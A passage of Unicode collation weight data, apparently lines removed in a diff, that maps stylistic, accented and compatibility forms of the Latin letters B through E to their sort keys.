-1D44F ; [.1BDB.0020.0005] # MATHEMATICAL ITALIC SMALL B
-1D483 ; [.1BDB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL B
-1D4B7 ; [.1BDB.0020.0005] # MATHEMATICAL SCRIPT SMALL B
-1D4EB ; [.1BDB.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL B
-1D51F ; [.1BDB.0020.0005] # MATHEMATICAL FRAKTUR SMALL B
-1D553 ; [.1BDB.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL B
-1D587 ; [.1BDB.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL B
-1D5BB ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF SMALL B
-1D5EF ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL B
-1D623 ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL B
-1D657 ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL B
-1D68B ; [.1BDB.0020.0005] # MATHEMATICAL MONOSPACE SMALL B
-24D1  ; [.1BDB.0020.0006] # CIRCLED LATIN SMALL LETTER B
-0042  ; [.1BDB.0020.0008] # LATIN CAPITAL LETTER B
-FF22  ; [.1BDB.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER B
-1F111 ; [*0310.0020.0004][.1BDB.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER B
-212C  ; [.1BDB.0020.000B] # SCRIPT CAPITAL B
-1D401 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD CAPITAL B
-1D435 ; [.1BDB.0020.000B] # MATHEMATICAL ITALIC CAPITAL B
-1D469 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL B
-1D4D1 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL B
-1D505 ; [.1BDB.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL B
-1D539 ; [.1BDB.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL B
-1D56D ; [.1BDB.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL B
-1D5A1 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL B
-1D5D5 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL B
-1D609 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL B
-1D63D ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL B
-1D671 ; [.1BDB.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL B
-24B7  ; [.1BDB.0020.000C] # CIRCLED LATIN CAPITAL LETTER B
-1F151 ; [.1BDB.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER B
-1D47  ; [.1BDB.0020.0014] # MODIFIER LETTER SMALL B
-1D2E  ; [.1BDB.0020.001D] # MODIFIER LETTER CAPITAL B
-1F131 ; [.1BDB.0020.001D] # SQUARED LATIN CAPITAL LETTER B
-1F171 ; [.1BDB.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER B
-1E03  ; [.1BDB.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER B WITH DOT ABOVE
-1E02  ; [.1BDB.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER B WITH DOT ABOVE
-1E05  ; [.1BDB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER B WITH DOT BELOW
-1E04  ; [.1BDB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER B WITH DOT BELOW
-1E07  ; [.1BDB.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER B WITH LINE BELOW
-1E06  ; [.1BDB.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER B WITH LINE BELOW
-3374  ; [.1BDB.0020.001C][.1BC2.0020.001C][.1DAE.0020.001C] # SQUARE BAR
-33C3  ; [.1BDB.0020.001D][.1D9C.0020.001C] # SQUARE BQ
-0299  ; [.1BDF.0020.0002] # LATIN LETTER SMALL CAPITAL B
-0180  ; [.1BE3.0020.0002] # LATIN SMALL LETTER B WITH STROKE
-0243  ; [.1BE3.0020.0008] # LATIN CAPITAL LETTER B WITH STROKE
-1D2F  ; [.1BE7.0020.0002] # MODIFIER LETTER CAPITAL BARRED B
-1D03  ; [.1BE8.0020.0002] # LATIN LETTER SMALL CAPITAL BARRED B
-1D6C  ; [.1BE9.0020.0002] # LATIN SMALL LETTER B WITH MIDDLE TILDE
-A797  ; [.1BEA.0020.0002] # LATIN SMALL LETTER B WITH FLOURISH
-A796  ; [.1BEA.0020.0008] # LATIN CAPITAL LETTER B WITH FLOURISH
-1D80  ; [.1BEB.0020.0002] # LATIN SMALL LETTER B WITH PALATAL HOOK
-0253  ; [.1BEC.0020.0002] # LATIN SMALL LETTER B WITH HOOK
-0181  ; [.1BEC.0020.0008] # LATIN CAPITAL LETTER B WITH HOOK
-0183  ; [.1BF0.0020.0002] # LATIN SMALL LETTER B WITH TOPBAR
-0182  ; [.1BF0.0020.0008] # LATIN CAPITAL LETTER B WITH TOPBAR
-A7B5  ; [.1BF4.0020.0002] # LATIN SMALL LETTER BETA
-1DE9  ; [.1BF4.0020.0004] # COMBINING LATIN SMALL LETTER BETA
-A7B4  ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER BETA
-0063  ; [.1BF5.0020.0002] # LATIN SMALL LETTER C
-FF43  ; [.1BF5.0020.0003] # FULLWIDTH LATIN SMALL LETTER C
-0368  ; [.1BF5.0020.0004] # COMBINING LATIN SMALL LETTER C
-217D  ; [.1BF5.0020.0004] # SMALL ROMAN NUMERAL ONE HUNDRED
-249E  ; [*0310.0020.0004][.1BF5.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER C
-1D41C ; [.1BF5.0020.0005] # MATHEMATICAL BOLD SMALL C
-1D450 ; [.1BF5.0020.0005] # MATHEMATICAL ITALIC SMALL C
-1D484 ; [.1BF5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL C
-1D4B8 ; [.1BF5.0020.0005] # MATHEMATICAL SCRIPT SMALL C
-1D4EC ; [.1BF5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL C
-1D520 ; [.1BF5.0020.0005] # MATHEMATICAL FRAKTUR SMALL C
-1D554 ; [.1BF5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL C
-1D588 ; [.1BF5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL C
-1D5BC ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL C
-1D5F0 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL C
-1D624 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL C
-1D658 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL C
-1D68C ; [.1BF5.0020.0005] # MATHEMATICAL MONOSPACE SMALL C
-24D2  ; [.1BF5.0020.0006] # CIRCLED LATIN SMALL LETTER C
-0043  ; [.1BF5.0020.0008] # LATIN CAPITAL LETTER C
-FF23  ; [.1BF5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER C
-2103  ; [*04D7.0020.0004][.1BF5.0020.000A] # DEGREE CELSIUS
-216D  ; [.1BF5.0020.000A] # ROMAN NUMERAL ONE HUNDRED
-1F112 ; [*0310.0020.0004][.1BF5.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER C
-2102  ; [.1BF5.0020.000B] # DOUBLE-STRUCK CAPITAL C
-212D  ; [.1BF5.0020.000B] # BLACK-LETTER CAPITAL C
-1D402 ; [.1BF5.0020.000B] # MATHEMATICAL BOLD CAPITAL C
-1D436 ; [.1BF5.0020.000B] # MATHEMATICAL ITALIC CAPITAL C
-1D46A ; [.1BF5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL C
-1D49E ; [.1BF5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL C
-1D4D2 ; [.1BF5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL C
-1D56E ; [.1BF5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL C
-1D5A2 ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL C
-1D5D6 ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL C
-1D60A ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL C
-1D63E ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL C
-1D672 ; [.1BF5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL C
-24B8  ; [.1BF5.0020.000C] # CIRCLED LATIN CAPITAL LETTER C
-1F12B ; [.1BF5.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER C
-1F152 ; [.1BF5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER C
-1D9C  ; [.1BF5.0020.0014] # MODIFIER LETTER SMALL C
-1F132 ; [.1BF5.0020.001D] # SQUARED LATIN CAPITAL LETTER C
-1F172 ; [.1BF5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER C
-0107  ; [.1BF5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH ACUTE
-0106  ; [.1BF5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH ACUTE
-0109  ; [.1BF5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
-0108  ; [.1BF5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
-010D  ; [.1BF5.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER C WITH CARON
-010C  ; [.1BF5.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER C WITH CARON
-010B  ; [.1BF5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
-010A  ; [.1BF5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER C WITH DOT ABOVE
-00E7  ; [.1BF5.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER C WITH CEDILLA
-1DD7  ; [.1BF5.0020.0004][.0000.0030.0004] # COMBINING LATIN SMALL LETTER C CEDILLA
-00C7  ; [.1BF5.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER C WITH CEDILLA
-1E09  ; [.1BF5.0020.0002][.0000.0030.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH CEDILLA AND ACUTE
-1E08  ; [.1BF5.0020.0008][.0000.0030.0002][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE
-3388  ; [.1BF5.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE CAL
-33C4  ; [.1BF5.0020.001C][.1BF5.0020.001C] # SQUARE CC
-1F12D ; [.1BF5.0020.000C][.1C0A.0020.000C] # CIRCLED CD
-33C5  ; [.1BF5.0020.001C][.1C0A.0020.001C] # SQUARE CD
-33C6  ; [.1BF5.0020.001D][*0605.0020.001C][.1CE0.0020.001C][.1C6F.0020.001C] # SQUARE C OVER KG
-1F191 ; [.1BF5.0020.001D][.1CF2.0020.001D] # SQUARED CL
-339D  ; [.1BF5.0020.001C][.1D25.0020.001C] # SQUARE CM
-33A0  ; [.1BF5.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE CM SQUARED
-33A4  ; [.1BF5.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE CM CUBED
-2105  ; [.1BF5.0020.0004][*038D.0020.0004][.1D58.0020.0004] # CARE OF
-33C7  ; [.1BF5.0020.001D][.1D58.0020.001C][*0274.0020.001C] # SQUARE CO
-1F192 ; [.1BF5.0020.001D][.1D58.0020.001D][.1D58.0020.001D][.1CF2.0020.001D] # SQUARED COOL
-2106  ; [.1BF5.0020.0004][*038D.0020.0004][.1E30.0020.0004] # CADA UNA
-1D04  ; [.1BF9.0020.0002] # LATIN LETTER SMALL CAPITAL C
-023C  ; [.1BFA.0020.0002] # LATIN SMALL LETTER C WITH STROKE
-023B  ; [.1BFA.0020.0008] # LATIN CAPITAL LETTER C WITH STROKE
-A793  ; [.1BFE.0020.0002] # LATIN SMALL LETTER C WITH BAR
-A792  ; [.1BFE.0020.0008] # LATIN CAPITAL LETTER C WITH BAR
-A794  ; [.1BFF.0020.0002] # LATIN SMALL LETTER C WITH PALATAL HOOK
-0188  ; [.1C00.0020.0002] # LATIN SMALL LETTER C WITH HOOK
-0187  ; [.1C00.0020.0008] # LATIN CAPITAL LETTER C WITH HOOK
-0255  ; [.1C04.0020.0002] # LATIN SMALL LETTER C WITH CURL
-1D9D  ; [.1C04.0020.0014] # MODIFIER LETTER SMALL C WITH CURL
-2184  ; [.1C08.0020.0002] # LATIN SMALL LETTER REVERSED C
-2183  ; [.1C08.0020.0008] # ROMAN NUMERAL REVERSED ONE HUNDRED
-A73F  ; [.1C09.0020.0002] # LATIN SMALL LETTER REVERSED C WITH DOT
-A73E  ; [.1C09.0020.0008] # LATIN CAPITAL LETTER REVERSED C WITH DOT
-0064  ; [.1C0A.0020.0002] # LATIN SMALL LETTER D
-FF44  ; [.1C0A.0020.0003] # FULLWIDTH LATIN SMALL LETTER D
-0369  ; [.1C0A.0020.0004] # COMBINING LATIN SMALL LETTER D
-217E  ; [.1C0A.0020.0004] # SMALL ROMAN NUMERAL FIVE HUNDRED
-249F  ; [*0310.0020.0004][.1C0A.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER D
-2146  ; [.1C0A.0020.0005] # DOUBLE-STRUCK ITALIC SMALL D
-1D41D ; [.1C0A.0020.0005] # MATHEMATICAL BOLD SMALL D
-1D451 ; [.1C0A.0020.0005] # MATHEMATICAL ITALIC SMALL D
-1D485 ; [.1C0A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL D
-1D4B9 ; [.1C0A.0020.0005] # MATHEMATICAL SCRIPT SMALL D
-1D4ED ; [.1C0A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL D
-1D521 ; [.1C0A.0020.0005] # MATHEMATICAL FRAKTUR SMALL D
-1D555 ; [.1C0A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL D
-1D589 ; [.1C0A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL D
-1D5BD ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL D
-1D5F1 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL D
-1D625 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL D
-1D659 ; [.1C0A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL D
-1D68D ; [.1C0A.0020.0005] # MATHEMATICAL MONOSPACE SMALL D
-24D3  ; [.1C0A.0020.0006] # CIRCLED LATIN SMALL LETTER D
-0044  ; [.1C0A.0020.0008] # LATIN CAPITAL LETTER D
-FF24  ; [.1C0A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER D
-216E  ; [.1C0A.0020.000A] # ROMAN NUMERAL FIVE HUNDRED
-1F113 ; [*0310.0020.0004][.1C0A.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER D
-2145  ; [.1C0A.0020.000B] # DOUBLE-STRUCK ITALIC CAPITAL D
-1D403 ; [.1C0A.0020.000B] # MATHEMATICAL BOLD CAPITAL D
-1D437 ; [.1C0A.0020.000B] # MATHEMATICAL ITALIC CAPITAL D
-1D46B ; [.1C0A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL D
-1D49F ; [.1C0A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL D
-1D4D3 ; [.1C0A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL D
-1D507 ; [.1C0A.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL D
-1D53B ; [.1C0A.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL D
-1D56F ; [.1C0A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL D
-1D5A3 ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL D
-1D5D7 ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL D
-1D60B ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL D
-1D63F ; [.1C0A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL D
-1D673 ; [.1C0A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL D
-24B9  ; [.1C0A.0020.000C] # CIRCLED LATIN CAPITAL LETTER D
-1F153 ; [.1C0A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER D
-1D48  ; [.1C0A.0020.0014] # MODIFIER LETTER SMALL D
-1D30  ; [.1C0A.0020.001D] # MODIFIER LETTER CAPITAL D
-1F133 ; [.1C0A.0020.001D] # SQUARED LATIN CAPITAL LETTER D
-1F173 ; [.1C0A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER D
-010F  ; [.1C0A.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER D WITH CARON
-010E  ; [.1C0A.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER D WITH CARON
-1E0B  ; [.1C0A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER D WITH DOT ABOVE
-1E0A  ; [.1C0A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER D WITH DOT ABOVE
-1E11  ; [.1C0A.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER D WITH CEDILLA
-1E10  ; [.1C0A.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER D WITH CEDILLA
-0111  ; [.1C0A.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
-0110  ; [.1C0A.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
-1E0D  ; [.1C0A.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER D WITH DOT BELOW
-1E0C  ; [.1C0A.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER D WITH DOT BELOW
-1E13  ; [.1C0A.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW
-1E12  ; [.1C0A.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW
-1E0F  ; [.1C0A.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER D WITH LINE BELOW
-1E0E  ; [.1C0A.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER D WITH LINE BELOW
-00F0  ; [.1C0A.0020.0004][.0000.010B.0004] # LATIN SMALL LETTER ETH
-1DD9  ; [.1C0A.0020.0004][.0000.010B.0004] # COMBINING LATIN SMALL LETTER ETH
-00D0  ; [.1C0A.0020.000A][.0000.010B.0004] # LATIN CAPITAL LETTER ETH
-1D9E  ; [.1C0A.0020.0014][.0000.010B.0014] # MODIFIER LETTER SMALL ETH
-1DD8  ; [.1C0A.0020.0004][.0000.010C.0004] # COMBINING LATIN SMALL LETTER INSULAR D
-A77A  ; [.1C0A.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR D
-A779  ; [.1C0A.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR D
-3372  ; [.1C0A.0020.001C][.1BC2.0020.001C] # SQUARE DA
-0238  ; [.1C0A.0020.0004][.1BDB.0020.0004] # LATIN SMALL LETTER DB DIGRAPH
-33C8  ; [.1C0A.0020.001C][.1BDB.0020.001D] # SQUARE DB
-1F190 ; [.1C0A.0020.001D][.1CC7.0020.001D] # SQUARE DJ
-3397  ; [.1C0A.0020.001C][.1CF2.0020.001C] # SQUARE DL
-3377  ; [.1C0A.0020.001C][.1D25.0020.001C] # SQUARE DM
-3378  ; [.1C0A.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE DM SQUARED
-3379  ; [.1C0A.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE DM CUBED
-01F3  ; [.1C0A.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER DZ
-02A3  ; [.1C0A.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH
-01F2  ; [.1C0A.0020.000A][.1E9C.0020.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z
-01F1  ; [.1C0A.0020.000A][.1E9C.0020.000A] # LATIN CAPITAL LETTER DZ
-01C6  ; [.1C0A.0020.0004][.1E9C.0020.0004][.0000.0028.0004] # LATIN SMALL LETTER DZ WITH CARON
-01C5  ; [.1C0A.0020.000A][.1E9C.0020.0004][.0000.0028.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON
-01C4  ; [.1C0A.0020.000A][.1E9C.0020.000A][.0000.0028.0004] # LATIN CAPITAL LETTER DZ WITH CARON
-02A5  ; [.1C0A.0020.0004][.1EAF.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH WITH CURL
-02A4  ; [.1C0A.0020.0004][.1EB9.0020.0004] # LATIN SMALL LETTER DEZH DIGRAPH
-1D05  ; [.1C0E.0020.0002] # LATIN LETTER SMALL CAPITAL D
-1D06  ; [.1C0F.0020.0002] # LATIN LETTER SMALL CAPITAL ETH
-1D6D  ; [.1C10.0020.0002] # LATIN SMALL LETTER D WITH MIDDLE TILDE
-1D81  ; [.1C11.0020.0002] # LATIN SMALL LETTER D WITH PALATAL HOOK
-0256  ; [.1C12.0020.0002] # LATIN SMALL LETTER D WITH TAIL
-0189  ; [.1C12.0020.0008] # LATIN CAPITAL LETTER AFRICAN D
-0257  ; [.1C16.0020.0002] # LATIN SMALL LETTER D WITH HOOK
-018A  ; [.1C16.0020.0008] # LATIN CAPITAL LETTER D WITH HOOK
-1D91  ; [.1C1A.0020.0002] # LATIN SMALL LETTER D WITH HOOK AND TAIL
-018C  ; [.1C1B.0020.0002] # LATIN SMALL LETTER D WITH TOPBAR
-018B  ; [.1C1B.0020.0008] # LATIN CAPITAL LETTER D WITH TOPBAR
-0221  ; [.1C1F.0020.0002] # LATIN SMALL LETTER D WITH CURL
-A771  ; [.1C23.0020.0002] # LATIN SMALL LETTER DUM
-1E9F  ; [.1C24.0020.0002] # LATIN SMALL LETTER DELTA
-0065  ; [.1C25.0020.0002] # LATIN SMALL LETTER E
-FF45  ; [.1C25.0020.0003] # FULLWIDTH LATIN SMALL LETTER E
-0364  ; [.1C25.0020.0004] # COMBINING LATIN SMALL LETTER E
-24A0  ; [*0310.0020.0004][.1C25.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER E
-212F  ; [.1C25.0020.0005] # SCRIPT SMALL E
-2147  ; [.1C25.0020.0005] # DOUBLE-STRUCK ITALIC SMALL E
-1D41E ; [.1C25.0020.0005] # MATHEMATICAL BOLD SMALL E
-1D452 ; [.1C25.0020.0005] # MATHEMATICAL ITALIC SMALL E
-1D486 ; [.1C25.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL E
-1D4EE ; [.1C25.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL E
-1D522 ; [.1C25.0020.0005] # MATHEMATICAL FRAKTUR SMALL E
-1D556 ; [.1C25.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL E
-1D58A ; [.1C25.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL E
-1D5BE ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF SMALL E
-1D5F2 ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL E
-1D626 ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL E
-1D65A ; [.1C25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL E
-1D68E ; [.1C25.0020.0005] # MATHEMATICAL MONOSPACE SMALL E
-24D4  ; [.1C25.0020.0006] # CIRCLED LATIN SMALL LETTER E
-0045  ; [.1C25.0020.0008] # LATIN CAPITAL LETTER E
-FF25  ; [.1C25.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER E
-1F114 ; [*0310.0020.0004][.1C25.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER E
-2130  ; [.1C25.0020.000B] # SCRIPT CAPITAL E
-1D404 ; [.1C25.0020.000B] # MATHEMATICAL BOLD CAPITAL E
-1D438 ; [.1C25.0020.000B] # MATHEMATICAL ITALIC CAPITAL E
-1D46C ; [.1C25.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL E
-1D4D4 ; [.1C25.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL E
-1D508 ; [.1C25.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL E
-1D53C ; [.1C25.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL E
-1D570 ; [.1C25.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL E
-1D5A4 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL E
-1D5D8 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL E
-1D60C ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL E
-1D640 ; [.1C25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL E
-1D674 ; [.1C25.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL E
-24BA  ; [.1C25.0020.000C] # CIRCLED LATIN CAPITAL LETTER E
-1F154 ; [.1C25.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER E
-1D49  ; [.1C25.0020.0014] # MODIFIER LETTER SMALL E
-2091  ; [.1C25.0020.0015] # LATIN SUBSCRIPT SMALL LETTER E
-1D31  ; [.1C25.0020.001D] # MODIFIER LETTER CAPITAL E
-1F134 ; [.1C25.0020.001D] # SQUARED LATIN CAPITAL LETTER E
-1F174 ; [.1C25.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER E
-00E9  ; [.1C25.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9  ; [.1C25.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH ACUTE
-00E8  ; [.1C25.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8  ; [.1C25.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH GRAVE
-0115  ; [.1C25.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH BREVE
-0114  ; [.1C25.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH BREVE
-00EA  ; [.1C25.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA  ; [.1C25.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EBF  ; [.1C25.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE  ; [.1C25.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EC1  ; [.1C25.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0  ; [.1C25.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC5  ; [.1C25.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4  ; [.1C25.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3  ; [.1C25.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2  ; [.1C25.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-011B  ; [.1C25.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER E WITH CARON
-011A  ; [.1C25.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER E WITH CARON
-00EB  ; [.1C25.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER E WITH DIAERESIS
-00CB  ; [.1C25.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER E WITH DIAERESIS
-1EBD  ; [.1C25.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH TILDE
-1EBC  ; [.1C25.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH TILDE
-0117  ; [.1C25.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
-0116  ; [.1C25.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER E WITH DOT ABOVE
-0229  ; [.1C25.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER E WITH CEDILLA
-0228  ; [.1C25.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER E WITH CEDILLA
-1E1D  ; [.1C25.0020.0002][.0000.0030.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH CEDILLA AND BREVE
-1E1C  ; [.1C25.0020.0008][.0000.0030.0002][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE
-0119  ; [.1C25.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER E WITH OGONEK
